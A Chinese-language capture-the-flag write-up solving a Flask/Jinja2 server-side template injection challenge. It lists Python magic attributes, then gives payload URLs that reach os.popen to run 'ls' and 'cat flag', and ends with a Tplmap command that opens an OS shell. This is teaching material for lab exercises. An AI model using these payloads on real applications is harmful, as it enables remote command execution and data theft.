题目描述
Simple_SSTI_2
Solution
打开网页,题目要求我们输入一个名为flag
的参数:
我们按题目要求传递:
http://114.67.175.224:16606/?flag=1
题目暗示这个 SSTI 类型题,我们可以输入:
http://114.67.175.224:16606/?flag={{1+1}}
jinja2 是 Python 的 Flask 框架下的模板引擎。Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。
__dict__
:保存类实例或对象实例的属性变量键值对字典__class__
:返回调用的参数类型__mro__
:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__bases__
:返回类型列表__subclasses__
:返回object的子类__init__
:类的初始化方法__globals__
:函数会以字典类型返回当前位置的全部全局变量 与func_globals
等价
我们可以利用 SSTI 获取基本类:
http://114.67.175.224:16606/?flag={{[].__class__.__bases__[0]}}
我们可以查看当前的全局配置信息:
http://114.67.175.224:16606/?flag={{config}}
没有发现什么特别的东西。
命令执行
我们可以构造一个命令执行的 URL。依次执行下列命令,找到我们需要的类和方法:
http://114.67.175.224:16606/?flag={{config.__class__}}
http://114.67.175.224:16606/?flag={{config.__class__.__init__}}
http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__}}
http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__['os']}}
http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
可以发现当前目录下有一个flag
文件,我们cat
它看看有什么内容:
http://114.67.175.224:16606/?flag={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
Tqlmap自动化注入
我们可以直接使用 Tplmap 框架帮我们自动化解题:
py tplmap.py -u "http://114.67.175.224:16606/?flag=1" --os-shell